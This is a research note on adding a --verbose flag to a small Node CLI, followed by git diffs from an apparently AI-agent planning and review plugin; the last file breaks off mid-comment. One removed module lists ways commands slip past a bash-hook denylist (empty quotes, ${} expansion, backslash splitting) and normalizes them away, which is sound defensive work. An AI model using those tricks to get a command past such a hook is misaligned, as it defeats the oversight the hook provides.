question: How does small-auth currently parse arguments and where should --verbose hook in?
confidence: 0.85
dimensions: 4
created: 2026-05-01
---
# CLI parser conventions in small-auth
## Executive Summary
`small-auth` uses a hand-rolled argv parser at `src/cli.mjs:12-58` with a
two-pass approach: first pass extracts global flags (currently
`--help`, `--version`), second pass dispatches to command handlers in
`src/commands/*.mjs`. Adding `--verbose` requires touching only the
first-pass extractor and a new `verbose` parameter in the handler
contract — six command handlers each get a one-line update.
The parser does **not** use `commander`, `yargs`, or any external
library — this is intentional (zero deps) and consistent with the
plugin marketplace's broader convention. We keep that.
`stderr` is currently unused except for fatal errors. Adding verbose
output to stderr does not collide with anything.
Confidence: 0.85. The 0.15 uncertainty is around whether
`--verbose` should propagate into nested helper modules
(`src/lib/auth-token.mjs` calls `src/lib/db.mjs`); the plan should
either pass `verbose` via a context object or use a module-scoped
log function. Both work; the brief doesn't specify, so the planner
will choose.
## Dimensions
### 1. Argument-parsing layer
The parser at `src/cli.mjs:12-58` returns
`{globalFlags: {help, version}, command, positional, commandFlags}`.
We add `verbose: boolean` to `globalFlags`. The two-pass design means
`--verbose` works in any position automatically — no extra effort.
`-v` short form maps to `--verbose` via the existing alias table at
`src/cli.mjs:34`.
### 2. Command-handler contract
Each handler in `src/commands/*.mjs` exports
`async function run(positional, flags, ctx)`. Today `ctx` is
`{stdout, stderr, env}`. We extend `ctx` with `verbose: boolean` so
handlers can branch on it without re-reading globalFlags.
### 3. Internal log emission pattern
Existing fatal errors call `ctx.stderr.write(\`[error] ...\\n\`)`. The
verbose pattern matches: `if (ctx.verbose) ctx.stderr.write(\`[verbose] ...\\n\`)`.
No log helper needed for this iteration — six call sites total. Refactoring
into a `verbose()` helper is reasonable but not required for the goal.
### 4. Test infrastructure
Tests live in `tests/*.test.mjs` using `node:test`. Existing tests run
the CLI as a subprocess via `child_process.execFile` and assert on
exit code + stdout. Two new tests are needed:
- `tests/cli-verbose-flag.test.mjs` — assert `login --verbose alice`
exits 0, stderr contains "[verbose]", stdout matches golden file.
- `tests/cli-no-verbose-stability.test.mjs` — assert
`login alice` stdout is byte-identical to `tests/golden/login.stdout`.
## Citations
- `src/cli.mjs:12-58` — parser implementation
- `src/commands/login.mjs:8-42` — typical handler shape
- `tests/cli-help.test.mjs:14` — subprocess testing pattern
- `package.json:scripts.test` — `node --test tests/*.test.mjs`
## Brief anchoring
Brief task: "Add a --verbose flag to the small-auth CLI parser".
This research answers the planner's first question: where to hook
into. The parser is small and centralized, so the change is
minimal-scope.
The brief's success criteria around byte-identical default stdout
maps directly to the stability test in dimension 4.

View file

@ -11,8 +11,7 @@
## What this example demonstrates
`examples/02-real-cli/` is the first **runnable** trekplan example.
Unlike `examples/01-add-verbose-flag/` (which ships a frozen brief, plan,
and research as artifacts but no executable code), this example ships a
It ships a
working ~80-line Node.js CLI (`tally`), a passing test suite, and known
fixture data — all designed to be the input for a real pipeline run.

View file

@ -29,29 +29,13 @@ The artifacts in each example mirror that flow.
## Examples
### 01-add-verbose-flag
### 02-real-cli
**Task:** add a `--verbose` flag to a small CLI parser. Touches one
parser file and six command handlers; adds two tests.
**Why this example:** small enough to read end-to-end in 10 minutes,
but exercises every artifact (research with brief-anchoring, plan with
manifests, progress.json with multi-step git history). Demonstrates
how `plan_version: 1.7` schema looks in real life — including the
manifest YAML block per step and the `must_contain` list-of-dicts
form.
**What to study first:**
1. `brief.md` — note the explicit `Out of scope` section and concrete
`Success Criteria` (no "make it work" hand-waving).
2. `plan.md` Step 1 — note that the FIRST step captures golden output
*before* any behavior change. This is the stability harness pattern.
3. `plan.md` Step 5 — note that this step touches 5 files in one
commit, and the plan justifies the deviation from the 1–2 file
guideline. Plan-critic should accept that justification.
4. `progress.json` — every step has both `commit_sha` and
`verify_passed`. Resumes work from the last completed step.
**Task:** a runnable fixture: `tally`, an 80-line zero-dep Node.js CLI
with a passing test suite and fixture data, as the input for a real
pipeline run (`/trekresearch`, `/trekplan`, `/trekexecute`). See
`REGENERATED.md` in the example for what it demonstrates and when to
re-run it.
## Regeneration
@ -70,4 +54,4 @@ as an example:
2. Add a `REGENERATED.md` documenting the calibration date and version.
3. Add a section to this README under `## Examples`.
4. Open an issue on the marketplace describing what the example
teaches that 01 doesn't already teach.
teaches that 02 doesn't already teach.

View file

@ -5,7 +5,7 @@
// way. Behavior unchanged from the inline copy.
//
// Bash normalization from llm-security/scanners/lib/bash-normalize.mjs (MIT,
// same author); lib/parsers/bash-normalize.mjs keeps the test-suite copy.
// same author).
// Strips bash evasion techniques: empty quotes, ${} expansion, backslash splitting.
export function normalizeBashExpansion(cmd) {

View file

@ -151,7 +151,7 @@ if (!Number.isFinite(startedAt) || Date.now() - startedAt > ttlMs) {
const ledgerPath = resolveLedgerPath(env);
// 7. Same bound the primitive uses: turns-per-dimension × the whole dimension
// list under settings.json:16's maxDimensions ceiling.
// list under the maxDimensions: 8 ceiling.
const budget = resolveMaxConvTurns(env) * MAX_TOTAL_DIMENSIONS;
let ledger;

View file

@ -36,7 +36,7 @@ const FLAG_SCHEMA = {
aliases: {},
},
trekreview: {
boolean: ['--quick', '--fg', '--dry-run', '--validate', '--workflow', '--answers'],
boolean: ['--quick', '--fg', '--dry-run', '--validate', '--answers'],
valued: ['--project', '--since', '--profile'],
aliases: {},
},

View file

@ -1,48 +0,0 @@
// lib/parsers/bash-normalize.mjs
// Bash-evasion normalization, lifted from hooks/scripts/pre-bash-executor.mjs.
//
// Source: ../../hooks/scripts/pre-bash-executor.mjs (lines 22-45) — verbatim
// extraction so the runtime hook and the test suite share one implementation.
// The hook still inlines a copy because it cannot import from outside the
// plugin distribution at this time; both copies must stay in sync.
/**
* Strip bash evasion techniques: empty quotes, ${} expansion, backslash splitting.
* Used to canonicalize a command before running denylist regex over it.
*/
export function normalizeBashExpansion(cmd) {
if (typeof cmd !== 'string' || cmd === '') return '';
let result = cmd
.replace(/''/g, '')
.replace(/""/g, '')
.replace(/\$\{(\w)\}/g, '$1')
.replace(/\$\{[^}]*\}/g, '')
.replace(/`\s*`/g, '');
let prev;
do {
prev = result;
result = result.replace(/(\w)\\(\w)/g, '$1$2');
} while (result !== prev);
return result;
}
/**
* Strip ANSI escape codes and collapse whitespace.
*/
export function normalizeCommand(cmd) {
if (typeof cmd !== 'string') return '';
return cmd
.replace(/\x1B\[[0-9;]*m/g, '')
.replace(/\s+/g, ' ')
.trim();
}
/**
* Full canonicalization pipeline used by hooks before pattern matching.
*/
export function canonicalize(cmd) {
return normalizeCommand(normalizeBashExpansion(cmd));
}

View file

@ -1,106 +0,0 @@
// lib/parsers/project-discovery.mjs
// Discover ultra-suite artifacts inside a project directory.
//
// Layout (post-v3.0.0 project-directory contract):
// .claude/projects/<YYYY-MM-DD>-<slug>/
// brief.md
// research/<NN>-<slug>.md (sorted by filename)
// architecture/overview.md (opt-in, produced by an upstream architect plugin)
// plan.md
// progress.json
import { existsSync, readdirSync, statSync } from 'node:fs';
import { join } from 'node:path';
/**
* @typedef {{
* projectDir: string,
* brief: string|null,
* research: string[],
* architecture: { overview: string|null, gaps: string|null, looseFiles: string[] },
* plan: string|null,
* progress: string|null,
* review: string|null,
* }} ProjectArtifacts
*/
/** @returns {ProjectArtifacts} */
export function discoverProject(projectDir) {
const out = {
projectDir,
brief: null,
research: [],
architecture: { overview: null, gaps: null, looseFiles: [] },
plan: null,
progress: null,
review: null,
};
if (!projectDir || !existsSync(projectDir) || !statSync(projectDir).isDirectory()) {
return out;
}
const briefPath = join(projectDir, 'brief.md');
if (existsSync(briefPath) && statSync(briefPath).isFile()) out.brief = briefPath;
const planPath = join(projectDir, 'plan.md');
if (existsSync(planPath) && statSync(planPath).isFile()) out.plan = planPath;
const progressPath = join(projectDir, 'progress.json');
if (existsSync(progressPath) && statSync(progressPath).isFile()) out.progress = progressPath;
const reviewPath = join(projectDir, 'review.md');
if (existsSync(reviewPath) && statSync(reviewPath).isFile()) out.review = reviewPath;
const researchDir = join(projectDir, 'research');
if (existsSync(researchDir) && statSync(researchDir).isDirectory()) {
out.research = readdirSync(researchDir)
.filter(f => f.endsWith('.md'))
.sort()
.map(f => join(researchDir, f));
}
const archDir = join(projectDir, 'architecture');
if (existsSync(archDir) && statSync(archDir).isDirectory()) {
const overviewPath = join(archDir, 'overview.md');
const gapsPath = join(archDir, 'gaps.md');
if (existsSync(overviewPath)) out.architecture.overview = overviewPath;
if (existsSync(gapsPath)) out.architecture.gaps = gapsPath;
const all = readdirSync(archDir).filter(f => f.endsWith('.md'));
out.architecture.looseFiles = all
.filter(f => f !== 'overview.md' && f !== 'gaps.md')
.map(f => join(archDir, f));
}
return out;
}
/**
* Validate that artifact set is consistent for a given pipeline phase.
* Phase = 'brief' | 'research' | 'plan' | 'execute' | 'review'.
*/
export function checkPhaseRequirements(artifacts, phase) {
const errors = [];
const warnings = [];
if (phase === 'research' && !artifacts.brief) {
errors.push({ code: 'PROJECT_NO_BRIEF', message: 'research phase requires brief.md' });
}
if (phase === 'plan' && !artifacts.brief) {
errors.push({ code: 'PROJECT_NO_BRIEF', message: 'plan phase requires brief.md' });
}
if (phase === 'execute' && !artifacts.plan) {
errors.push({ code: 'PROJECT_NO_PLAN', message: 'execute phase requires plan.md' });
}
if (phase === 'review') {
if (!artifacts.brief) {
errors.push({ code: 'PROJECT_NO_BRIEF', message: 'review phase requires brief.md' });
}
if (!artifacts.progress) {
warnings.push({
code: 'PROJECT_NO_PROGRESS',
message: 'review phase: progress.json absent — scope detection will fall back to brief.md mtime',
});
}
}
return { valid: errors.length === 0, errors, warnings, parsed: artifacts };
}

View file

@ -1,177 +0,0 @@
// lib/plan/synthesis-digest-schema.mjs
// Digest-output JSON schema contract for the synthesis-agent (NW3 / S12).
//
// The synthesis-agent (agents/synthesis-agent.md) ingests the trekplan Phase-5/7
// exploration outputs and emits a trailing fenced ```json block carrying the
// findings DIGEST that main currently writes inline in Phase 7. Shape:
//
// { "agent": "synthesis-agent",
// "task": "<task being planned>",
// "architecture_model": "<prose mental model of the codebase>",
// "reusable_code": [ { ref, note? }, ... ],
// "contradictions": [ "<overlap/contradiction between agents>", ... ],
// "risks": [ { risk, severity? }, ... ],
// "gaps": [ "<unknown → becomes a plan assumption>", ... ],
// "sources": [ { finding, origin: "codebase" | "research" }, ... ] }
//
// This codifies the contract so a delegated synthesis path could VALIDATE the
// digest (not merely JSON.parse it) and re-ask on schema failure, and so the
// measurement harness has a fixed quality contract to compare inline-vs-delegated
// digests against.
//
// Load-bearing fields (what Phase 8 deep-planning consumes): task,
// architecture_model, and the five synthesis arrays. Each `sources` entry must
// be origin-tagged codebase|research (Phase 7 rule 7). Descriptive fields and
// unknown top-level keys are tolerated (forward-compat, mirroring
// review-validator.mjs / findings-schema.mjs).
//
// 3-layer pattern (Content → Raw-text → CLI shim) mirroring the other validators.
import { readFileSync, existsSync } from 'node:fs';
import { issue, fail } from '../util/result.mjs';
import { isMain } from '../util/is-main.mjs';
import { extractFindingsBlock } from '../review/findings-schema.mjs';
// Origin tag for every synthesised finding (Phase 7 rule 7: codebase vs research).
export const ORIGIN_VALUES = Object.freeze(['codebase', 'research']);
// The fields Phase 8 depends on. Descriptive fields (note/severity) are not here
// on purpose: their absence should not trigger a re-ask.
export const DIGEST_REQUIRED_FIELDS = Object.freeze([
'task',
'architecture_model',
'reusable_code',
'contradictions',
'risks',
'gaps',
'sources',
]);
// The five synthesis arrays + their stable not-an-array error codes.
const ARRAY_FIELDS = Object.freeze([
['reusable_code', 'DIGEST_REUSABLE_NOT_ARRAY'],
['contradictions', 'DIGEST_CONTRADICTIONS_NOT_ARRAY'],
['risks', 'DIGEST_RISKS_NOT_ARRAY'],
['gaps', 'DIGEST_GAPS_NOT_ARRAY'],
['sources', 'DIGEST_SOURCES_NOT_ARRAY'],
]);
/**
* Extract the inner body of the LAST fenced `json` block in `text`, with the
* one block reader (lib/review/findings-schema.mjs): three backticks inside a
* JSON string do not end the block (release review of 6.3.0, round 8).
* @param {string} text
* @returns {string|null} the JSON source, or null if no json fence is present.
*/
export function extractDigestBlock(text) {
return extractFindingsBlock(text);
}
function isNonEmptyString(v) {
return typeof v === 'string' && v.length > 0;
}
/**
* Validate an already-parsed digest payload against the schema.
* Accumulates every error (so a re-ask can name all problems at once).
* @param {unknown} payload
* @returns {import('../util/result.mjs').Result}
*/
export function validateDigest(payload) {
if (payload === null || typeof payload !== 'object' || Array.isArray(payload)) {
return fail(issue(
'DIGEST_NOT_OBJECT',
`Digest must be a JSON object, got ${Array.isArray(payload) ? 'array' : typeof payload}`,
));
}
const errors = [];
const warnings = [];
if (!isNonEmptyString(payload.agent)) {
warnings.push(issue('DIGEST_MISSING_AGENT', 'Digest should carry a non-empty "agent" name'));
}
if (!isNonEmptyString(payload.task)) {
errors.push(issue('DIGEST_MISSING_TASK', 'Digest "task" must be a non-empty string'));
}
if (!isNonEmptyString(payload.architecture_model)) {
errors.push(issue(
'DIGEST_MISSING_ARCHITECTURE',
'Digest "architecture_model" must be a non-empty string (the synthesised mental model)',
));
}
for (const [field, code] of ARRAY_FIELDS) {
if (!Array.isArray(payload[field])) {
errors.push(issue(code, `Digest "${field}" must be an array, got ${typeof payload[field]}`));
}
}
// Origin-tag check — only when sources actually is an array.
if (Array.isArray(payload.sources)) {
payload.sources.forEach((s, i) => {
const origin = s && typeof s === 'object' ? s.origin : undefined;
if (!ORIGIN_VALUES.includes(origin)) {
errors.push(issue(
'DIGEST_SOURCE_BAD_ORIGIN',
`sources[${i}].origin must be one of ${ORIGIN_VALUES.join('|')}, got ${JSON.stringify(origin)}`,
'Tag every synthesised finding as codebase or research (Phase 7 rule 7).',
`sources[${i}]`,
));
}
});
}
return { valid: errors.length === 0, errors, warnings, parsed: payload };
}
/**
* Validate a synthesis-agent's raw output: extract the last json fence, parse it,
* then schema-validate. Parse-stage failures get stable codes so they flow
* through the same bounded re-ask path as schema failures.
* @param {string} rawText
* @returns {import('../util/result.mjs').Result}
*/
export function validateAgentOutput(rawText) {
const block = extractDigestBlock(rawText);
if (block === null) {
return fail(issue(
'DIGEST_NO_JSON_BLOCK',
'No trailing fenced ```json block found in synthesis-agent output',
'The synthesis-agent must end its output with a single ```json digest block.',
));
}
let parsed;
try {
parsed = JSON.parse(block);
} catch (e) {
return fail(issue('DIGEST_PARSE_ERROR', `Digest JSON block did not parse: ${e.message}`));
}
return validateDigest(parsed);
}
// ---- CLI shim ----------------------------------------------------------------
if (isMain(import.meta.url)) {
const args = process.argv.slice(2);
const filePath = args.find((a) => !a.startsWith('--'));
if (!filePath) {
process.stderr.write('Usage: synthesis-digest-schema.mjs [--json] <agent-output.txt|.md>\n');
process.exit(2);
}
if (!existsSync(filePath)) {
process.stderr.write(`synthesis-digest-schema: file not found: ${filePath}\n`);
process.exit(2);
}
const r = validateAgentOutput(readFileSync(filePath, 'utf-8'));
if (args.includes('--json')) {
process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
} else {
process.stdout.write(`synthesis-digest-schema: ${r.valid ? 'PASS' : 'FAIL'} ${filePath}\n`);
for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
}
process.exit(r.valid ? 0 : 1);
}

View file

@ -34,8 +34,7 @@
//
// Reuses: SEVERITY_VALUES / RULE_KEYS / getRule (rule-catalogue.mjs),
// computeFindingIds (finding-id.mjs, triplet), validateFindings
// (findings-schema.mjs). Triplet key format mirrors
// scripts/bakeoff-armA-merge.mjs `dedupByTriplet`; raised_by provenance mirrors
// (findings-schema.mjs). raised_by provenance mirrors
// lib/review/plan-review-dedup.mjs.
import { SEVERITY_VALUES, RULE_KEYS, getRule } from './rule-catalogue.mjs';
@ -122,8 +121,8 @@ export const UNVERIFIED_REASONS = Object.freeze([
// is ever marked; only a `/code-review` finding at the MAJOR tier ever drops,
// to MINOR, writing `brief_lowered_from: 'MAJOR'`. A BLOCKER and any
// `/security-review` finding keep their severity and only carry the mark.
// The verdict gate (verdict-gate.mjs) imports `illegalBriefLowering`; the
// opt-in workflow review mirrors it. `original_severity` (what the kept finding
// The verdict gate (verdict-gate.mjs) imports `illegalBriefLowering`.
// `original_severity` (what the kept finding
// itself asserted before Pass 1 raised it, review 08deae68) is never read here.
// The payload `reviewer` names lib/review/engine-findings.mjs writes, and the

View file

@ -1,8 +1,7 @@
// lib/review/engine-compare.mjs
// The standard-path put-back (fix round 4.5b2 part B, Step 9): on the prose
// path, an engine finding at MAJOR or BLOCKER that the coordinator dropped is
// put back at its own severity, the way the workflow path does
// (scripts/trekreview-armB.workflow.mjs, operator decision 23).
// put back at its own severity (operator decision 23).
//
// A finding is matched on its row: its (file, line, rule_key) triplet plus
// its title, trimmed and in lower case. An engine finding's row is returned
@ -17,13 +16,9 @@
// Only a payload's `findings` are compared. An engine finding in
// `out_of_scope` stays declined by the existing rule
// (lib/review/coordinator-contract.mjs runContract, `engine:out-of-scope`).
//
// The row rule below is a lib copy of the armB workflow's (scripts cannot be
// imported); tests/lib/engine-findings-compare.test.mjs pins both equal.
import { ENGINES } from './engine-findings.mjs';
// Copied from scripts/trekreview-armB.workflow.mjs:60-73 (rowOf, trimmedTitle).
// The (file,line,rule_key) triplet a finding is deduped and matched on.
const tripletOf = (f) => `${f.file}\u0000${f.line}\u0000${f.rule_key}`;
// A finding's title as the grouping compares it: trimmed, lower case.
@ -33,7 +28,7 @@ const normTitle = (f) => String(f.title).trim().toLowerCase();
const rowOf = (f) => `${tripletOf(f)}\u0000${f.title === undefined ? '\u0001' : normTitle(f)}`;
// The coordinator trims an over-long MINOR/SUGGESTION title as
// lib/review/coordinator-contract.mjs judgeFilter does; its marker and limit
// are inlined (scripts cannot import) and pinned equal by the workflow test.
// are inlined.
const TRIM_MARKER = ' […trimmed]';
const JUDGE_TITLE_MAX = 100;
// A title as that trim writes it: over JUDGE_TITLE_MAX characters, cut to

View file

@ -1,173 +0,0 @@
// lib/review/fidelity-diff.mjs
// Fidelity comparison of two review.md artifacts — the PRIMARY metric of the
// NW2 (S10) prose-vs-Workflow bake-off (T2 §5).
//
// A substrate swap (prose Arm A → Workflow Arm B) passes the gate only if it
// produces a fidelity-equivalent review.md: SAME verdict and an equivalent
// finding set (IDs / severities / rule_keys). This module computes that diff
// from two rendered review.md texts, reusing the determinism-pipeline
// primitives (jaccard over finding-IDs + frontmatter parse + the NW1 trailing-
// block extractor).
//
// Pure JS, zero deps beyond existing lib modules — unit-testable without any
// live LLM run.
import { parseDocument } from '../util/frontmatter.mjs';
import { jaccardSimilarity } from '../parsers/jaccard.mjs';
import { computeFindingIds } from '../parsers/finding-id.mjs';
import { extractFindingsBlock } from './findings-schema.mjs';
import { isMain } from '../util/is-main.mjs';
export const DEFAULT_JACCARD_TOLERANCE = 0.7;
/**
* Parse a rendered review.md into its comparable shape.
* - verdict + finding-ID list come from frontmatter (the validated contract).
* - per-finding severity / rule_key / file / line come from the trailing JSON
* block. Both the `rule_key` (real reviewer output) and `rule` (fixtures)
* keys are accepted.
* @param {string} text
* @returns {{ verdict: string|null, findingIds: string[],
* details: Array<{id, severity, rule_key, file, line}> }}
*/
export function parseReviewArtifact(text) {
const doc = parseDocument(text);
const fm = (doc.valid && doc.parsed && doc.parsed.frontmatter) || {};
const verdict = typeof fm.verdict === 'string' ? fm.verdict : null;
const findingIds = Array.isArray(fm.findings) ? fm.findings.filter((x) => typeof x === 'string') : [];
let details = [];
const block = extractFindingsBlock(text);
if (block !== null) {
try {
const parsed = JSON.parse(block);
const arr = Array.isArray(parsed) ? parsed : (Array.isArray(parsed.findings) ? parsed.findings : []);
details = arr.map((f) => ({
id: f.id ?? null,
severity: f.severity ?? null,
rule_key: f.rule_key ?? f.rule ?? null,
file: f.file ?? null,
line: f.line ?? null,
}));
} catch {
details = [];
}
}
return { verdict, findingIds, details };
}
function detailMap(details) {
const m = new Map();
for (const d of details) {
if (d.id) m.set(d.id, d);
}
return m;
}
/**
* Core comparison over two normalized artifacts: {verdict, findingIds, details}.
* Shared by fidelityDiff (review.md text) and fidelityDiffStructured (arm output).
*/
function compareArtifacts(a, b, opts = {}) {
const tol = typeof opts.jaccardTolerance === 'number' ? opts.jaccardTolerance : DEFAULT_JACCARD_TOLERANCE;
const verdictMatch = a.verdict === b.verdict;
const jaccard = jaccardSimilarity(a.findingIds, b.findingIds);
// Cross-check severity + rule_key on findings present in BOTH arms.
const mapA = detailMap(a.details);
const mapB = detailMap(b.details);
const severityMismatches = [];
const ruleKeyMismatches = [];
for (const [id, da] of mapA) {
const db = mapB.get(id);
if (!db) continue;
if (da.severity !== db.severity) severityMismatches.push({ id, a: da.severity, b: db.severity });
if (da.rule_key !== db.rule_key) ruleKeyMismatches.push({ id, a: da.rule_key, b: db.rule_key });
}
const equivalent =
verdictMatch &&
jaccard >= tol &&
severityMismatches.length === 0 &&
ruleKeyMismatches.length === 0;
return {
verdictA: a.verdict,
verdictB: b.verdict,
verdictMatch,
jaccard,
countA: a.findingIds.length,
countB: b.findingIds.length,
severityMismatches,
ruleKeyMismatches,
equivalent,
};
}
/**
* Compute the fidelity diff between two rendered review.md artifacts.
* @param {string} textA — baseline (Arm A — prose)
* @param {string} textB — candidate (Arm B — Workflow)
* @param {{ jaccardTolerance?: number }} [opts]
*/
export function fidelityDiff(textA, textB, opts = {}) {
return compareArtifacts(parseReviewArtifact(textA), parseReviewArtifact(textB), opts);
}
/**
* Normalize a structured arm output ({verdict, findings:[{severity,rule_key,
* file,line}]}) into the comparable shape, recomputing canonical finding-IDs
* from the (file, line, rule_key) triplet. Findings missing file/rule_key are
* dropped from the ID set (they cannot dedupe), but counted is by valid IDs.
*/
export function normalizeArmOutput(arm) {
const verdict = arm && typeof arm.verdict === 'string' ? arm.verdict : null;
const findings = (arm && Array.isArray(arm.findings)) ? arm.findings : [];
const findingIds = [];
const details = [];
// The k-th row on one triplet gets the id over `rule_key#k`, as review.md does.
const ids = computeFindingIds(findings.map((f) => ({ file: f.file, line: f.line, rule_key: f.rule_key ?? f.rule ?? null })), () => {});
for (const [i, f] of findings.entries()) {
const file = f.file;
const rule_key = f.rule_key ?? f.rule ?? null;
const line = f.line;
const id = ids[i];
if (id) findingIds.push(id);
details.push({ id, severity: f.severity ?? null, rule_key, file: file ?? null, line: line ?? null });
}
return { verdict, findingIds, details };
}
/**
* Fidelity diff between two structured arm outputs (the bake-off comparison —
* avoids rendering review.md for each run).
* @param {{verdict, findings}} armA
* @param {{verdict, findings}} armB
* @param {{ jaccardTolerance?: number }} [opts]
*/
export function fidelityDiffStructured(armA, armB, opts = {}) {
return compareArtifacts(normalizeArmOutput(armA), normalizeArmOutput(armB), opts);
}
// ---- CLI shim ----------------------------------------------------------------
if (isMain(import.meta.url)) {
const { readFileSync } = await import('node:fs');
const args = process.argv.slice(2);
const files = args.filter((x) => !x.startsWith('--'));
if (files.length !== 2) {
process.stderr.write('Usage: fidelity-diff.mjs [--json] <review-A.md> <review-B.md>\n');
process.exit(2);
}
const d = fidelityDiff(readFileSync(files[0], 'utf-8'), readFileSync(files[1], 'utf-8'));
if (args.includes('--json')) {
process.stdout.write(JSON.stringify(d, null, 2) + '\n');
} else {
process.stdout.write(`fidelity-diff: ${d.equivalent ? 'EQUIVALENT' : 'DIVERGENT'}\n`);
process.stdout.write(` verdict: ${d.verdictA} vs ${d.verdictB} (match=${d.verdictMatch})\n`);
process.stdout.write(` jaccard: ${d.jaccard.toFixed(4)} (findings ${d.countA} vs ${d.countB})\n`);
process.stdout.write(` severity mismatches: ${d.severityMismatches.length}; rule_key mismatches: ${d.ruleKeyMismatches.length}\n`);
}
process.exit(d.equivalent ? 0 : 1);
}

View file

@ -56,7 +56,7 @@ export const FINDING_REQUIRED_FIELDS = Object.freeze([
// `info` is the info string as written, trailing blanks dropped; `body` is the
// text between the fence lines, as written.
// One reader for the verdict gate and every trailing-json reader: the review
// validator, the synthesis digest, fill-finding-ids, recurrence, fidelity-diff.
// validator, fill-finding-ids, recurrence.
const FENCE_INFO = /^[ \t]*(?:`{3,}|~{3,})(.*)$/;
/**

View file

@ -6,7 +6,7 @@
// `MAX_REVIEW_ROUNDS` is the one cap: /trekreview refuses a fourth round, and
// /trekexecute's review loop reads the same constant (`--cap`).
//
// prepare({projectDir, since, repo, workflow, dryRun}): the round of a run.
// prepare({projectDir, since, repo, dryRun}): the round of a run.
// `<run>` is the first 12 hex of `since` (the run's `scope_sha_start`).
// - Same run (review.md exists and its `scope_sha_start` equals `since`): a
// later round. An archive `review-round-<run>-<n>.md` is review.md's own
@ -20,9 +20,7 @@
// derived, never read from the `round` field alone: a `round` field that
// disagrees is exit 2. The new round is P + 1. An archive that is a
// regular file but cannot be read is exit 2 (not measured).
// - Round MAX_REVIEW_ROUNDS + 1 is refused (exit 1); so is round 2 or later
// with `workflow` (exit 1): the --workflow path neither hands the reviewers
// the round input nor writes their outputs.
// - Round MAX_REVIEW_ROUNDS + 1 is refused (exit 1).
// - The round base is the previous `scope_sha_end`: a full sha that is an
// ancestor of HEAD, else exit 2 (not measured).
// - review.md is copied to `review-round-<run>-<P>.md`; an existing file
@ -59,9 +57,9 @@
//
// CLI:
// node lib/review/review-rounds.mjs prepare --project <d> --since <sha>
// [--repo <d>] [--workflow] [--dry-run] --json
// [--repo <d>] [--dry-run] --json
// prints one JSON line {round, round_base, previous, run} or {reason};
// exit 0 = the round, 1 = refused (the cap, or round 2+ on --workflow),
// exit 0 = the round, 1 = refused (the cap),
// 2 = not measured (2 is never green)
// node lib/review/review-rounds.mjs --cap prints MAX_REVIEW_ROUNDS
@ -128,7 +126,7 @@ const notMeasured = (reason, detail = '') => ({ exit: 2, reason: `${reason} —
* The round of a run, with its archive and clean slate (see the header).
* @returns {{exit: 0, round: number, round_base: string|null, previous: string|null, run: string, archived?: boolean, deleted: string[]} | {exit: 1|2, reason: string}}
*/
export function prepare({ projectDir, since, repo, workflow = false, dryRun = false } = {}) {
export function prepare({ projectDir, since, repo, dryRun = false } = {}) {
if (!projectDir) return { exit: 2, reason: '--project is required' };
if (!FULL_SHA_RE.test(String(since ?? ''))) return notMeasured('--since must be a full commit id');
try {
@ -181,9 +179,6 @@ export function prepare({ projectDir, since, repo, workflow = false, dryRun = fa
if (round > MAX_REVIEW_ROUNDS) {
return { exit: 1, reason: `review round cap reached (${MAX_REVIEW_ROUNDS}) — the operator re-plans` };
}
if (workflow) {
return { exit: 1, reason: 'from round 2 /trekreview runs on the standard path — re-run without --workflow' };
}
const base = ownEnd;
if (!base || !isAncestorOfHead(repo ?? projectDir, base)) {
return notMeasured('round base is not an ancestor of HEAD');
@ -345,13 +340,13 @@ if (isMain(import.meta.url)) {
}
let result;
if (args[0] !== 'prepare') {
process.stderr.write('Usage: review-rounds.mjs prepare --project <d> --since <sha> [--repo <d>] [--workflow] [--dry-run] --json | --cap\n');
process.stderr.write('Usage: review-rounds.mjs prepare --project <d> --since <sha> [--repo <d>] [--dry-run] --json | --cap\n');
process.exit(2);
}
try {
result = prepare({
projectDir: opt(args, '--project'), since: opt(args, '--since'), repo: opt(args, '--repo'),
workflow: args.includes('--workflow'), dryRun: args.includes('--dry-run'),
dryRun: args.includes('--dry-run'),
});
} catch (e) {
result = { exit: 2, reason: `review-rounds crashed: ${e.message} — not measured` };

View file

@ -13,7 +13,7 @@
// when several callers decide at once instead of only when they queue.
// (c) Correct size bound — worst case is max_conv_turns × max_total_dimensions,
// where max_total_dimensions is the WHOLE list (interview + discovered)
// under settings.json:16's cap of 8 — not × discovered-only.
// under the maxDimensions cap of 8 — not × discovered-only.
//
// CLAUDE_PLUGIN_DATA absent => fall back to ~/.claude/voyage. The variable is
// EMPTY in the Bash tool's process env (measured in a live plugin-enabled
@ -45,7 +45,7 @@ import { homedir } from 'node:os';
import { isMain } from './is-main.mjs';
export const MAX_CONV_TURNS = 3;
export const MAX_TOTAL_DIMENSIONS = 8; // settings.json:16 maxDimensions — whole list, not discovered-only
export const MAX_TOTAL_DIMENSIONS = 8; // maxDimensions — whole list, not discovered-only
const LEDGER_FILENAME = 'trekresearch-loop-ledger.jsonl';
const CLAIM_DIRNAME = 'trekresearch-loop-claims';
@ -65,7 +65,7 @@ export function isStormEnabled(env = process.env) {
* warned about. This is the reader.
*
* The ceiling is MAX_TOTAL_DIMENSIONS on purpose: the value that sizes the turn
* budget IS settings.json:16's maxDimensions, and a second constant for the same
* budget IS maxDimensions, and a second constant for the same
* number is how two readers end up enforcing different bounds.
*
* Accepts the dimension list or its count, because Phase 4.5 has the list and

View file

@ -1,62 +0,0 @@
// lib/util/test-census.mjs
// Census of the test suite: split top-level test() declarations into three
// honest categories:
// - "behavior" — ordinary behavior coverage (the default bucket).
// - "docPins" — doc-consistency pins (string/existence assertions that pin
// documentation against a source-of-truth).
// - "goldEval" — the offline gold-scored output eval scoring RUN (SKAL-1·4b):
// neither behavior nor prose-pin, but a run that scores a
// committed agent-run fixture against the golden corpus.
// Makes the cited test count honest — a prose-pin is not the same coverage as a
// behavior test, and a scoring run is a third thing again, so a single
// conflated total oversells behavior coverage.
// Devil's-advocate audit §Top changes #8 (S19); third bucket added in SKAL-1·4b.
//
// Metric: top-level `test(` declarations (static, deterministic, in-process).
// This is distinct from node:test's runtime total, which additionally counts
// subtests; the runtime total is therefore ≥ this declaration count.
import { readFileSync, readdirSync } from 'node:fs';
import { join } from 'node:path';
// Files whose tests are documentation pins, not behavior coverage. Kept as a
// regex (not a single filename) so a future split-out (e.g. prose-pins.test.mjs)
// is bucketed correctly without editing this module.
export const PIN_FILE_RE = /(doc-consistency|prose-pins)\.test\.mjs$/;
// Files whose tests are the offline gold-scored output eval scoring run
